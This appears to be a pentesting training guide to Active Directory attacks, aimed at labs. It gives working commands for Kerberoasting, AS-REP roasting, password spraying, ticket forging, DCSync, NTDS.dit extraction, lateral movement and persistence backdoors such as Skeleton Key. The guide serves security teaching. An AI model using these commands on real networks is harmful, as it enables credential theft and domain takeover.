kavklaw@llm ~ /guides/active-directory

kavklaw@llm $ bloodhound-python -c all

Active Directory Attacks

πŸ”΄ Advanced

From Domain User to Domain Admin, Every Attack Path Explained

Advanced πŸ“– 45 min read
← Back to Guides

AD pentesting relies on a specific toolkit. Get these installed before starting:

  • Impacket β€” Python suite with 30+ scripts (secretsdump, psexec, GetUserSPNs, GetNPUsers, ticketer, etc.). The single most important AD toolkit from Linux
  • BloodHound β€” AD relationship graphing and attack path discovery. You need both the GUI (Neo4j-based) and bloodhound-python (the data collector)
  • CrackMapExec (aka NetExec) β€” credential spraying, command execution, share enumeration across the domain
  • Kerbrute β€” Kerberos-based user enumeration and password spraying (stealthier than LDAP/SMB)
  • Evil-WinRM β€” WinRM shell client for Windows remote management
  • ldapsearch β€” LDAP query tool (usually preinstalled on Linux)
  • Hashcat β€” for cracking Kerberos hashes offline (see password cracking guide)

Installation

Kali Linux: Most of these come preinstalled. Check with impacket-GetNPUsers --help and crackmapexec --version.

Debian/Ubuntu or manual install:

# Impacket (Python β€” the most critical tool)
pipx install impacket
# Or: pip install impacket

# BloodHound collector (Python)
pipx install bloodhound

# CrackMapExec / NetExec
# crackmapexec is now netexec: pipx install netexec
# Or the newer fork: pipx install netexec

# Kerbrute (Go binary β€” download from GitHub)
# https://github.com/ropnop/kerbrute/releases

# Evil-WinRM (Ruby)
sudo gem install evil-winrm

# BloodHound GUI (requires Neo4j + Java)
# Follow: https://bloodhound.readthedocs.io/en/latest/installation/linux.html

Windows-side tools (upload to targets during engagements): Rubeus, Mimikatz, PowerView (PowerSploit), SharpHound. These are .exe and .ps1 files β€” download from their GitHub repos and keep them in your toolkit.

🎯 What is Active Directory?

Active Directory (AD) is Microsoft's directory service, basically a centralized database that manages every user, computer, group, policy, and resource in a corporate network. When you see "domain\username" or "[email protected]" at a Windows login, that's Active Directory. If you've never worked in a corporate Windows environment, think of AD as the master address book and permission system for an entire company.

Why do pentesters care? Because 95% of Fortune 1000 companies use Active Directory, and compromising the Domain Controller means you control everything: every user account, every computer, every file share, every email. It's the crown jewels of corporate IT. AD is the single most valuable target in enterprise pentesting because it's the central nervous system β€” one compromised Domain Admin account cascades into control over thousands of machines, making it the fastest path from initial foothold to total network dominance.

AD is also the most common subject in medium-to-insane rated HackTheBox machines. Understanding it is non-negotiable if you want to progress past beginner-level pentesting.

⚑ Quick Start

Got domain credentials? Here's what to run immediately. These commands check for the most common quick wins β€” attack paths that can give you Domain Admin in minutes:

# Enumerate the domain with BloodHound
bloodhound-python -u 'user' -p 'password' -d domain.htb -ns DC_IP -c all

# Check for quick wins
# AS-REP Roasting (no creds needed if you have a username list)
impacket-GetNPUsers domain.htb/ -usersfile users.txt -no-pass -dc-ip DC_IP

# Kerberoasting (need valid creds)
impacket-GetUserSPNs domain.htb/user:password -dc-ip DC_IP -request

# Password spraying
kerbrute passwordspray -d domain.htb users.txt 'Welcome1!' --dc DC_IP

# Crack any hashes you get
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt    # AS-REP
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt # Kerberoast

πŸ—οΈ AD Fundamentals β€” Know Your Battlefield

Before attacking AD, you need to understand its architecture. Skip this section if you're already familiar.

Key Components

  • Domain: A logical group of users, computers, and resources that share a centralized database. Example: corp.company.com
  • Domain Controller (DC): The server running AD services. It handles authentication, stores the database (NTDS.dit), and enforces Group Policy. Compromise the DC = game over.
  • Forest: A collection of one or more domains that share a schema and trust each other. The forest root domain is the highest authority.
  • Trust: A relationship between domains that allows users in one domain to access resources in another. Trusts can be one-way or bidirectional.
  • Organizational Unit (OU): A container within a domain used to organize users, groups, and computers. GPOs are applied to OUs.
  • Group Policy Object (GPO): Centralized configuration policies applied to users and computers. Can set passwords, install software, configure firewalls, etc.

How these fit together: Think of AD like a company building. Users are the employees, groups are departments (Marketing, Engineering, Admins) that determine what resources you can access. OUs are the floors or wings of the building β€” they organize users and computers into logical containers. GPOs are the building rules posted on each floor β€” they automatically enforce security policies (password complexity, screen lock timeout, software installations) on everything inside an OU. An attacker who can modify a GPO applied to the entire domain effectively controls every machine in the organization.

Authentication Protocols

  • Kerberos: The primary authentication protocol. Instead of sending your password every time you access something, Kerberos gives you "tickets" that prove your identity. Three parties: the client (you), the Key Distribution Center (KDC, runs on the DC, acts like a ticket office), and the target service.
  • NTLM: The older authentication protocol. Uses a challenge-response system with password hashes (scrambled versions of passwords). Still widely used for backward compatibility. Because it uses hashes, you can authenticate with just a hash and no actual password. This is called Pass-the-Hash.
  • LDAP: The protocol for querying the AD database. Think of it like SQL for Active Directory. You use it to look up user attributes, group memberships, computer objects, etc.

How Kerberos Authentication Works

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”  1. AS-REQ (timestamp       β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚          β”‚     encrypted w/ user hash)  β”‚          β”‚
β”‚  Client  │─────────────────────────────▢│   KDC    β”‚
β”‚          │◀─────────────────────────────│ (on DC)  β”‚
β”‚          β”‚  2. AS-REP (TGT encrypted   β”‚          β”‚
β”‚          β”‚     w/ krbtgt hash)          β”‚          β”‚
β”‚          β”‚                              β”‚          β”‚
β”‚          β”‚  3. TGS-REQ (TGT + "I want  β”‚          β”‚
β”‚          β”‚     to access SQL service")  β”‚          β”‚
β”‚          │─────────────────────────────▢│          β”‚
β”‚          │◀─────────────────────────────│          β”‚
β”‚          β”‚  4. TGS-REP (Service Ticket  β”‚          β”‚
β”‚          β”‚     encrypted w/ svc hash)   β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
β”‚          β”‚
β”‚          β”‚  5. AP-REQ (Service Ticket)  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚          │─────────────────────────────▢│ Service  β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜                              β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

Why this matters for attackers:

  • AS-REP Roasting: Request TGT without preauthentication β†’ crack offline
  • Kerberoasting: Request TGS for any SPN β†’ crack the service account hash
  • Golden Ticket: Forge TGTs with the krbtgt hash β†’ impersonate anyone
  • Silver Ticket: Forge TGS with a service account hash β†’ access that service
  • Pass-the-Ticket: Steal and reuse existing tickets

πŸ” Domain Enumeration

Before attacking, you need to understand the domain structure, find privileged accounts, and identify attack paths.

BloodHound β€” The #1 AD Tool

BloodHound visualizes AD relationships and automatically finds attack paths to Domain Admin. It's the single most important tool for AD pentesting.

# ─── Data Collection ─────────────────────

# From Linux (recommended for CTFs):
bloodhound-python -u 'user' -p 'password' -d domain.htb -ns DC_IP -c all
# Generates JSON files: users, groups, computers, domains, sessions, etc.

# From Windows (SharpHound):
.\SharpHound.exe -c all
# Or in PowerShell:
Import-Module .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All

# ─── Analysis ────────────────────────────

# Import JSON files into BloodHound GUI
# Key queries to run:
# 1. "Shortest Paths to Domain Admins from Owned Principals"
# 2. "Find All Kerberoastable Users"
# 3. "Find AS-REP Roastable Users"
# 4. "Find Computers with Unconstrained Delegation"
# 5. "Shortest Paths to High Value Targets"

# Custom Cypher queries:
# Find users with DCSync rights:
MATCH (u:User)-[:MemberOf*1..]->(g:Group)-[:DCSync|GetChanges|GetChangesAll]->(d:Domain) RETURN u.name

# Find users with GenericAll on other users:
MATCH (u:User)-[:GenericAll]->(t:User) RETURN u.name, t.name

LDAP Enumeration

# ldapsearch β€” from Linux
# List all users:
ldapsearch -x -H ldap://DC_IP -D '[email protected]' -w 'password' -b 'DC=domain,DC=htb' '(objectClass=user)' sAMAccountName

# Find admin users:
ldapsearch -x -H ldap://DC_IP -D '[email protected]' -w 'password' -b 'DC=domain,DC=htb' '(memberOf=CN=Domain Admins,CN=Users,DC=domain,DC=htb)' sAMAccountName

# Find computers:
ldapsearch -x -H ldap://DC_IP -D '[email protected]' -w 'password' -b 'DC=domain,DC=htb' '(objectClass=computer)' dNSHostName

# Find SPNs (Kerberoastable accounts):
ldapsearch -x -H ldap://DC_IP -D '[email protected]' -w 'password' -b 'DC=domain,DC=htb' '(&(objectClass=user)(servicePrincipalName=*))' sAMAccountName servicePrincipalName

# Anonymous LDAP bind (sometimes works):
ldapsearch -x -H ldap://DC_IP -b 'DC=domain,DC=htb'

PowerView (Windows Enumeration)

# Import PowerView
Import-Module .\PowerView.ps1

# Domain info
Get-Domain
Get-DomainController

# Users
Get-DomainUser | Select-Object samaccountname, description, memberof
Get-DomainUser -SPN    # Kerberoastable users
Get-DomainUser -PreauthNotRequired  # AS-REP Roastable

# Groups
Get-DomainGroup | Select-Object name
Get-DomainGroupMember "Domain Admins"

# Computers
Get-DomainComputer | Select-Object dnshostname, operatingsystem

# Shares
Find-DomainShare -CheckShareAccess

# GPOs
Get-DomainGPO | Select-Object displayname, gpcfilesyspath

# ACLs (very important!)
Find-InterestingDomainAcl -ResolveGUIDs
Get-DomainObjectAcl -Identity "target_user" -ResolveGUIDs

🧠 Knowledge Check β€” AD Fundamentals & Enumeration

What is the primary purpose of BloodHound in Active Directory pentesting?
BloodHound collects AD relationship data (users, groups, ACLs, sessions, trusts) and visualizes them as a graph. Its key power is automatically finding the shortest attack paths from your owned principals to high-value targets like Domain Admin. It doesn't crack hashes or scan ports β€” it maps the relationships that reveal exploitation chains.
In Kerberos authentication, what encrypts the TGT (Ticket Granting Ticket)?
The TGT is encrypted with the krbtgt account's hash. This is why Golden Ticket attacks are so powerful β€” if you have the krbtgt hash, you can forge TGTs for any user. The TGS (service ticket) is encrypted with the service account's hash, which is why Kerberoasting works. The user's hash is only used for the initial pre-authentication timestamp.
Complete the command to perform AS-REP Roasting without credentials:
$ impacket- domain.htb/ -usersfile users.txt -no-pass -dc-ip DC_IP
impacket-GetNPUsers is the tool for AS-REP Roasting. It requests TGTs for users who have "Do not require Kerberos preauthentication" enabled. The key advantage is you don't need any valid credentials β€” just a list of usernames. The resulting hashes (hashcat mode 18200) can be cracked offline.
πŸ’‘ Pro tip: When you get domain credentials, the very first thing to do is run BloodHound. It will show you attack paths that would take hours to find manually. Mark your owned users as "Owned" in the UI, and BloodHound will find the shortest path from them to Domain Admin.

βš”οΈ Kerberos-Based Attacks

AS-REP Roasting

Normally when you ask Kerberos for a ticket, you first have to prove you know your password (this is called "preauthentication"). But if a user has the "Do not require Kerberos preauthentication" flag set in their AD account, anyone can request their ticket (TGT) without proving anything. The ticket is encrypted with the user's password hash, so you can take it offline and try to crack it. The best part: you don't even need valid credentials to do this, just a list of usernames.

# Requirements: Username list (no password needed!)

# From Linux:
impacket-GetNPUsers domain.htb/ -usersfile users.txt -no-pass -dc-ip DC_IP -format hashcat
# Output: [email protected]:abc123...

# With valid credentials (enumerate vulnerable users automatically):
impacket-GetNPUsers domain.htb/user:password -dc-ip DC_IP -request

# From Windows (Rubeus):
.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt

# Crack the hash:
hashcat -m 18200 hashes.txt /usr/share/wordlists/rockyou.txt
# Mode 18200 = Kerberos 5, etype 23, AS-REP

# Why does this work?
# Normally, the KDC requires preauthentication: you prove you know the password
# by encrypting a timestamp with your hash. If preauth is disabled, the KDC
# just hands you an encrypted TGT β€” and you crack it offline.

Kerberoasting

An SPN (Service Principal Name) is a label that identifies a service in AD, like "this account runs the SQL server." Any authenticated domain user can request a service ticket (TGS) for any service with an SPN. This is a normal, expected Kerberos operation. The ticket is encrypted with the service account's password hash, which means you can take it offline and try to crack it. Service accounts often have weak or old passwords, making this very effective.

# Requirements: Valid domain credentials

# From Linux:
impacket-GetUserSPNs domain.htb/user:password -dc-ip DC_IP -request
# Output: $krb5tgs$23$*svc_sql$DOMAIN.HTB$MSSQLSvc/sql.domain.htb:1433...

# From Windows (Rubeus):
.\Rubeus.exe kerberoast /outfile:tgs_hashes.txt

# From Windows (PowerView):
Import-Module .\PowerView.ps1
Invoke-Kerberoast -OutputFormat hashcat | Select-Object -ExpandProperty Hash

# Crack:
hashcat -m 13100 tgs_hashes.txt /usr/share/wordlists/rockyou.txt
# Mode 13100 = Kerberos 5, etype 23, TGS-REP

# What makes Kerberoasting powerful:
# 1. ANY domain user can do this β€” no special privileges needed
# 2. It's a NORMAL Kerberos operation β€” hard to detect
# 3. Service accounts often have weak passwords
# 4. Service accounts often have high privileges (SQL admin, etc.)
# 5. The cracking is entirely OFFLINE β€” no lockout risk

Golden Ticket

The krbtgt account is the master key of Kerberos. Its hash encrypts all TGTs (the "passport" tickets). If you get this hash, you can forge TGTs for ANY user, including Domain Admin. This is like being able to print your own passports. It's the ultimate persistence mechanism because it works even after passwords are changed (except for krbtgt itself).

# Requirements: krbtgt NTLM hash + Domain SID

# Getting the krbtgt hash (requires Domain Admin or DCSync):
impacket-secretsdump domain.htb/admin:password@DC_IP
# Look for: krbtgt:502:aad3b435...:krbtgt_ntlm_hash:::

# Or with Mimikatz:
lsadump::dcsync /domain:domain.htb /user:krbtgt

# Forge Golden Ticket with impacket:
impacket-ticketer -nthash KRBTGT_HASH -domain-sid S-1-5-21-DOMAIN-SID -domain domain.htb Administrator

# Use the ticket:
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass domain.htb/[email protected]

# Forge with Mimikatz:
kerberos::golden /user:Administrator /domain:domain.htb /sid:S-1-5-21-DOMAIN-SID /krbtgt:KRBTGT_HASH /ptt
# /ptt = Pass-the-Ticket (inject into memory immediately)

# Golden Ticket properties:
# - Valid for 10 years by default
# - Works even if the "Administrator" password changes
# - Only invalidated by changing the krbtgt password TWICE
# - Can impersonate any user, including non-existent ones

Silver Ticket

Like a Golden Ticket but scoped to a single service. Forged with a service account's hash instead of krbtgt's.

# Requirements: Service account NTLM hash + Domain SID + SPN

# Forge Silver Ticket for CIFS (file share access):
impacket-ticketer -nthash SERVICE_HASH -domain-sid S-1-5-21-DOMAIN-SID \
  -domain domain.htb -spn CIFS/target.domain.htb Administrator

export KRB5CCNAME=Administrator.ccache
impacket-smbclient -k -no-pass //target.domain.htb/C$

# Forge for HTTP (web service):
impacket-ticketer -nthash SERVICE_HASH -domain-sid S-1-5-21-DOMAIN-SID \
  -domain domain.htb -spn HTTP/target.domain.htb Administrator

# Silver vs Golden:
# Golden: Forges TGT β†’ access ANY service β†’ requires krbtgt hash
# Silver: Forges TGS β†’ access ONE service β†’ requires service account hash
# Silver is stealthier because it never contacts the DC

πŸ”‘ Credential-Based Attacks

Password Spraying

Instead of trying many passwords against one user (brute force, which triggers account lockouts), password spraying tries one common password against ALL users. This stays under the lockout threshold because each user only gets one wrong attempt. In a company with 500 users, even a 1% success rate gives you 5 accounts.

# With kerbrute (fastest, uses Kerberos):
kerbrute passwordspray -d domain.htb users.txt 'Welcome1!' --dc DC_IP
kerbrute passwordspray -d domain.htb users.txt 'Company2024!' --dc DC_IP
kerbrute passwordspray -d domain.htb users.txt 'Summer2024!' --dc DC_IP

# Common spray passwords:
# Season+Year: Spring2024!, Summer2024!, Fall2024!, Winter2024!
# Company+Year: CompanyName2024!
# Welcome: Welcome1!, Welcome2024!
# Password: Password1!, P@ssw0rd!, Password123

# With CrackMapExec:
crackmapexec smb DC_IP -u users.txt -p 'Welcome1!' --continue-on-success
# --continue-on-success: don't stop after first hit

# Check lockout policy first!
crackmapexec smb DC_IP -u user -p password --pass-pol
# Or:
net accounts /domain
# Look for: Lockout threshold, Lockout observation window

# Rule of thumb: spray ONE password, wait 30+ minutes, spray another

Pass-the-Hash (PtH)

Here's a key concept: NTLM authentication uses password hashes, not the actual password. The server never sees your password. It only checks the hash. This means if you have a user's NTLM hash (from a dump, from memory, or from a database), you can log in as them without ever knowing their actual password.

# With CrackMapExec:
crackmapexec smb DC_IP -u Administrator -H 'aad3b435...:NTLM_HASH'
crackmapexec winrm DC_IP -u Administrator -H 'aad3b435...:NTLM_HASH'

# With impacket:
impacket-psexec domain.htb/Administrator@DC_IP -hashes :NTLM_HASH
impacket-wmiexec domain.htb/Administrator@DC_IP -hashes :NTLM_HASH
impacket-smbexec domain.htb/Administrator@DC_IP -hashes :NTLM_HASH

# With Evil-WinRM:
evil-winrm -i DC_IP -u Administrator -H NTLM_HASH

# Getting NTLM hashes:
# - Mimikatz: sekurlsa::logonpasswords
# - hashdump (Meterpreter)
# - SAM dump: impacket-secretsdump -sam SAM -system SYSTEM LOCAL
# - DCSync: impacket-secretsdump domain.htb/admin:password@DC_IP

Pass-the-Ticket (PtT)

# Export tickets from memory (Windows β€” Mimikatz):
sekurlsa::tickets /export
# Creates .kirbi files for each ticket

# Import a ticket:
kerberos::ptt ticket.kirbi

# From Linux β€” use .ccache files:
export KRB5CCNAME=/path/to/ticket.ccache
impacket-psexec -k -no-pass domain.htb/[email protected]

# Rubeus:
.\Rubeus.exe dump    # List cached tickets
.\Rubeus.exe ptt /ticket:base64_encoded_ticket

πŸ”— Delegation Attacks

Kerberos delegation is a feature that lets a service act on behalf of a user. For example, when you log into a web app and it needs to query a database as "you," it uses delegation. When misconfigured, an attacker can abuse delegation to impersonate any user (including Domain Admin) to any service. Don't worry if delegation feels confusing at first. It's one of the more complex AD topics, but the attack steps are straightforward once you know the tools.

Unconstrained Delegation

Unconstrained delegation is the most permissive form: the machine is trusted to act as any user to any service. To do this, it keeps a copy of every user's TGT (their master "passport" ticket) when they log in. Compromise that machine β†’ steal everyone's tickets, including potentially the Domain Controller's.

# Find computers with unconstrained delegation:
# BloodHound: "Find Computers with Unconstrained Delegation"
# Or PowerView:
Get-DomainComputer -Unconstrained | Select-Object dnshostname

# ldapsearch:
ldapsearch -x -H ldap://DC_IP -D '[email protected]' -w 'password' -b 'DC=domain,DC=htb' \
  '(userAccountControl:1.2.840.113556.1.4.803:=524288)' sAMAccountName

# Attack:
# 1. Compromise the machine with unconstrained delegation
# 2. Use Rubeus to monitor for incoming TGTs:
.\Rubeus.exe monitor /interval:5 /nowrap
# 3. Coerce authentication from the DC (SpoolSample/Printerbug):
.\SpoolSample.exe dc.domain.htb unconstrained.domain.htb
# 4. The DC's TGT arrives β†’ use it for DCSync

Constrained Delegation

Constrained delegation is more restrictive: the service can only impersonate users to specific target services listed in the msDS-AllowedToDelegateTo attribute. However, attackers can abuse the S4U (Service for User) Kerberos extensions to request tickets as any user to those allowed services.

# Find accounts with constrained delegation:
Get-DomainUser -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto
Get-DomainComputer -TrustedToAuth | Select-Object dnshostname, msds-allowedtodelegateto

# Attack with impacket (S4U2Self + S4U2Proxy):
impacket-getST -spn 'CIFS/target.domain.htb' -impersonate Administrator \
  domain.htb/svc_account:password -dc-ip DC_IP

export KRB5CCNAME=Administrator@[email protected]
impacket-psexec -k -no-pass target.domain.htb

# With Rubeus:
.\Rubeus.exe s4u /user:svc_account /rc4:HASH /impersonateuser:Administrator \
  /msdsspn:"CIFS/target.domain.htb" /ptt

Resource-Based Constrained Delegation (RBCD)

RBCD is a newer, more commonly exploited form of delegation. The key difference: instead of an admin setting up delegation on the source ("this service can impersonate users"), RBCD is configured on the target ("this computer trusts that service to impersonate users"). If you can write to a computer's AD object (which BloodHound often reveals), you can tell it to trust a computer account you control, and then impersonate any user to that target.

# Requirements:
# 1. Write access to a computer's msDS-AllowedToActOnBehalfOfOtherIdentity
# 2. A computer account you control (or create one if MAQ > 0)

# Step 1: Create a computer account (if needed)
impacket-addcomputer domain.htb/user:password -computer-name 'FAKECOMP$' -computer-pass 'FakePass123!'

# Step 2: Set RBCD on the target
impacket-rbcd domain.htb/user:password -delegate-to 'TARGET$' -delegate-from 'FAKECOMP$' -dc-ip DC_IP -action write

# Step 3: Get a service ticket impersonating Administrator
impacket-getST -spn 'CIFS/target.domain.htb' -impersonate Administrator \
  domain.htb/'FAKECOMP$':'FakePass123!' -dc-ip DC_IP

# Step 4: Use the ticket
export KRB5CCNAME=Administrator@[email protected]
impacket-psexec -k -no-pass target.domain.htb

πŸ›‘οΈ ACL Abuse

Access Control Lists (ACLs) are permission rules that define who can do what to each AD object (users, groups, computers). Think of them like file permissions, but for AD objects. For example, an ACL might say "User A can reset User B's password." Misconfigured ACLs are one of the most common attack paths found by BloodHound, because admins often grant too many permissions without realizing the security impact.

# ─── GenericAll (full control) ───────────
# You can reset the target's password, modify their attributes, etc.

# Reset password:
net rpc password "target_user" 'NewP@ssw0rd!' -U 'domain.htb/attacker%password' -S DC_IP
# Or with PowerView:
Set-DomainUserPassword -Identity target_user -AccountPassword (ConvertTo-SecureString 'NewP@ssw0rd!' -AsPlainText -Force)

# If GenericAll on a GROUP β€” add yourself:
net rpc group addmem "Domain Admins" attacker -U 'domain.htb/attacker%password' -S DC_IP

# If GenericAll on a COMPUTER β€” configure RBCD (see above)

# ─── WriteDACL ───────────────────────────
# You can modify the ACL itself β€” grant yourself GenericAll, then exploit
# With PowerView:
Add-DomainObjectAcl -TargetIdentity target_user -PrincipalIdentity attacker -Rights All

# With impacket:
impacket-dacledit domain.htb/attacker:password -target target_user -dc-ip DC_IP -action write -rights FullControl

# ─── ForceChangePassword ────────────────
# Can change the target's password without knowing the current one
net rpc password "target_user" 'NewP@ssw0rd!' -U 'domain.htb/attacker%password' -S DC_IP

# ─── WriteOwner ──────────────────────────
# Change the owner of an object, then modify its ACL
# With PowerView:
Set-DomainObjectOwner -Identity target_object -OwnerIdentity attacker

# ─── GenericWrite ────────────────────────
# Can write to certain attributes
# Useful for: Setting SPN for Kerberoasting, modifying scripts
# Add SPN to a user (targeted Kerberoasting):
Set-DomainObject -Identity target_user -Set @{serviceprincipalname='fake/spn'}
# Then Kerberoast that user

🧠 Knowledge Check β€” Kerberos & Credential Attacks

Complete the Kerberoasting command to request service ticket hashes:
$ impacket- domain.htb/user:password -dc-ip DC_IP -request
impacket-GetUserSPNs requests service tickets (TGS) for accounts with Service Principal Names (SPNs). Any authenticated domain user can do this β€” it's a normal Kerberos operation. The resulting hashes (hashcat mode 13100) are cracked offline. Service accounts often have weak passwords and high privileges, making Kerberoasting extremely effective.
What is the key difference between AS-REP Roasting and Kerberoasting?
The critical difference is that AS-REP Roasting requires NO credentials β€” just a list of usernames. It targets users with pre-authentication disabled. Kerberoasting requires valid domain credentials (any user) and targets service accounts with SPNs. Both produce hashes cracked offline, but AS-REP Roasting is your first check since it's a no-credentials-needed attack.
πŸ“‹ Scenario
$ crackmapexec smb DC_IP -u svc_backup -p 'Backup2023!'
SMB  10.10.10.100  445  DC01  [*] Windows 10.0 Build 17763 x64
SMB  10.10.10.100  445  DC01  [+] domain.htb\svc_backup:Backup2023!

$ crackmapexec smb DC_IP -u svc_backup -p 'Backup2023!' -x "whoami /priv"
SeBackupPrivilege          Enabled
You've compromised svc_backup with SeBackupPrivilege. What's the most effective next step for domain compromise?
SeBackupPrivilege allows you to read ANY file on the system, bypassing ACLs. This means you can copy the NTDS.dit file (the AD database containing all password hashes) and the SYSTEM registry hive. Using robocopy /b or diskshadow/wbadmin, extract both files and then run impacket-secretsdump offline to get every hash in the domain β€” instant domain compromise.
πŸ’‘ Pro tip: BloodHound is the easiest way to find ACL abuse paths. The "Shortest Paths to Domain Admins" query will show chains like: You β†’ GenericAll on UserA β†’ ForceChangePassword on UserB β†’ Member of Domain Admins. Without BloodHound, finding these chains manually would take hours of LDAP queries.

πŸ’€ DCSync β€” Domain Takeover

DCSync is the most powerful attack in AD. Domain Controllers normally sync with each other by sharing their databases (this is called "replication"). DCSync uses the MS-DRSR (Directory Replication Service Remote) protocol to pretend to be a Domain Controller and request the same data. Since replication includes every password hash in the domain, a successful DCSync gives you every single user's credentials. Game over.

# Requirements: Two AD permissions on the domain object:
#   "Replicating Directory Changes" + "Replicating Directory Changes All"
# Typically held by: Domain Admins, Enterprise Admins, DC computer accounts

# Who has DCSync rights?
# BloodHound: "Find Principals with DCSync Rights"
# Or check ACLs on the domain object

# With impacket-secretsdump:
impacket-secretsdump domain.htb/admin:password@DC_IP
# Dumps EVERY hash: domain users, computer accounts, krbtgt, etc.

# Target specific accounts:
impacket-secretsdump domain.htb/admin:password@DC_IP -just-dc-user Administrator
impacket-secretsdump domain.htb/admin:password@DC_IP -just-dc-user krbtgt

# With Mimikatz:
lsadump::dcsync /domain:domain.htb /user:Administrator
lsadump::dcsync /domain:domain.htb /all /csv

# After DCSync, you have:
# - Every user's NTLM hash β†’ Pass-the-Hash to anything
# - krbtgt hash β†’ Golden Ticket (persistent access forever)
# - Computer account hashes β†’ Silver Tickets
# - Service account hashes β†’ Access to all services

NTDS.dit Extraction (Alternative to DCSync)

# The NTDS.dit file IS the AD database β€” contains all hashes
# It's locked while AD is running, so you need shadow copy

# Method 1: Volume Shadow Copy (vssadmin)
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temp\ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\SYSTEM

# Method 2: ntdsutil
ntdsutil "ac i ntds" "ifm" "create full C:\temp" q q

# Method 3: From Linux with impacket
impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL

# Method 4: CrackMapExec
crackmapexec smb DC_IP -u admin -p password --ntds

πŸ”„ Lateral Movement

Lateral movement means using credentials you've obtained to access other machines in the domain. Each tool below uses a different Windows remote access mechanism β€” some are noisier (create services, leave logs) while others are stealthier:

# ─── PsExec (creates a Windows service to run commands β€” noisy but reliable) ──
impacket-psexec domain.htb/admin:password@target_ip
impacket-psexec domain.htb/admin@target_ip -hashes :NTLM_HASH

# ─── WMI (Windows Management Instrumentation β€” stealthier, no service creation) ──
impacket-wmiexec domain.htb/admin:password@target_ip
impacket-wmiexec domain.htb/admin@target_ip -hashes :NTLM_HASH

# ─── WinRM (Windows Remote Management β€” PowerShell remoting, port 5985/5986) ──
evil-winrm -i target_ip -u admin -p password
evil-winrm -i target_ip -u admin -H NTLM_HASH

# PowerShell remoting:
Enter-PSSession -ComputerName target -Credential domain\admin

# ─── SMBExec (semi-stealthy) ────────────────────────────
impacket-smbexec domain.htb/admin:password@target_ip

# ─── DCOM (Distributed COM β€” stealthy, uses built-in Windows automation objects) ─
impacket-dcomexec domain.htb/admin:password@target_ip

# ─── RDP (graphical β€” useful for GUI-only tasks) ────────
xfreerdp /u:admin /p:password /d:domain.htb /v:target_ip

# ─── CrackMapExec (spray credentials across the network) ─
crackmapexec smb 10.10.10.0/24 -u admin -p password
crackmapexec smb 10.10.10.0/24 -u admin -H NTLM_HASH
crackmapexec smb 10.10.10.0/24 -u admin -p password --shares     # Enumerate shares
crackmapexec smb 10.10.10.0/24 -u admin -p password -x "whoami"  # Execute command

🧠 Knowledge Check β€” Delegation & Advanced Attacks

πŸ“‹ Scenario
BloodHound shows:
  svc_web (Owned) β†’ GenericWrite β†’ SERVER01$
  
$ crackmapexec ldap DC_IP -u svc_web -p 'password' -M maq
LDAP  10.10.10.100  MAQ: 10
You have GenericWrite on a computer object and MachineAccountQuota is 10. Which attack should you perform?
This is a classic RBCD attack path. With GenericWrite on a computer object and MAQ > 0, you: (1) Create a new computer account (impacket-addcomputer), (2) Set msDS-AllowedToActOnBehalfOfOtherIdentity on SERVER01$ to trust your new computer (impacket-rbcd), (3) Use S4U2Self + S4U2Proxy to get a service ticket as Administrator (impacket-getST), (4) Use the ticket to get a shell. RBCD is one of the most commonly exploited AD attacks.
What hashcat mode is used to crack Kerberoasting (TGS-REP) hashes?
Hashcat mode 13100 is for Kerberos 5, etype 23, TGS-REP (Kerberoasting). Mode 18200 is for AS-REP Roasting. Mode 1000 is for NTLM hashes. Remembering these mode numbers saves time during engagements: 13100 = Kerberoast, 18200 = AS-REP, 1000 = NTLM.

πŸ”’ Persistence Techniques

Golden Ticket (most powerful): Already covered above β€” forge TGTs with krbtgt hash. Survives password changes for all users except krbtgt.

Silver Ticket: Forge service tickets β€” never contacts the DC. Stealthier but limited to specific services.

DCSync backdoor: Grant a regular user DCSync rights:

Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=htb" -PrincipalIdentity backdoor_user -Rights DCSync

Skeleton Key: Injects a backdoor into LSASS (Local Security Authority Subsystem Service β€” the Windows process that handles authentication). After injection, any user can authenticate with either their real password OR the master password "mimikatz". Doesn't survive reboot because it's only in memory.

privilege::debug
misc::skeleton

Now any user can log in with their normal password OR "mimikatz".

AdminSDHolder: AdminSDHolder is a special AD object whose ACL is automatically copied to all protected groups (Domain Admins, Enterprise Admins, etc.) every 60 minutes by a process called SDProp. If you modify AdminSDHolder's ACL, your changes propagate to all privileged groups automatically:

Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=domain,DC=htb" -PrincipalIdentity backdoor_user -Rights All

πŸ—ΊοΈ Common Attack Chains

Chain 1: Classic Kerberoast Path

Foothold ──▢ Domain User ──▢ Kerberoast ──▢ Crack SVC Hash
                                                    β”‚
                              β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                              β–Ό
                    Lateral Movement ──▢ More Creds ──▢ DCSync ──▢ Domain Admin
  1. Get initial foothold (web exploit, phishing, etc.)
  2. Get domain user credentials
  3. Kerberoast β†’ crack service account hash
  4. Service account has admin rights somewhere β†’ lateral movement
  5. Find more credentials β†’ escalate
  6. DCSync β†’ Domain Admin

Chain 2: ACL Abuse Path

You ──GenericAll──▢ User B ──WriteDACL──▢ User C ──MemberOf──▢ Domain Admins
  1. Get domain user credentials
  2. Run BloodHound β†’ find ACL path
  3. GenericAll on User B β†’ reset B's password
  4. User B has WriteDACL on User C β†’ grant yourself GenericAll
  5. User C is in Domain Admins β†’ you're DA

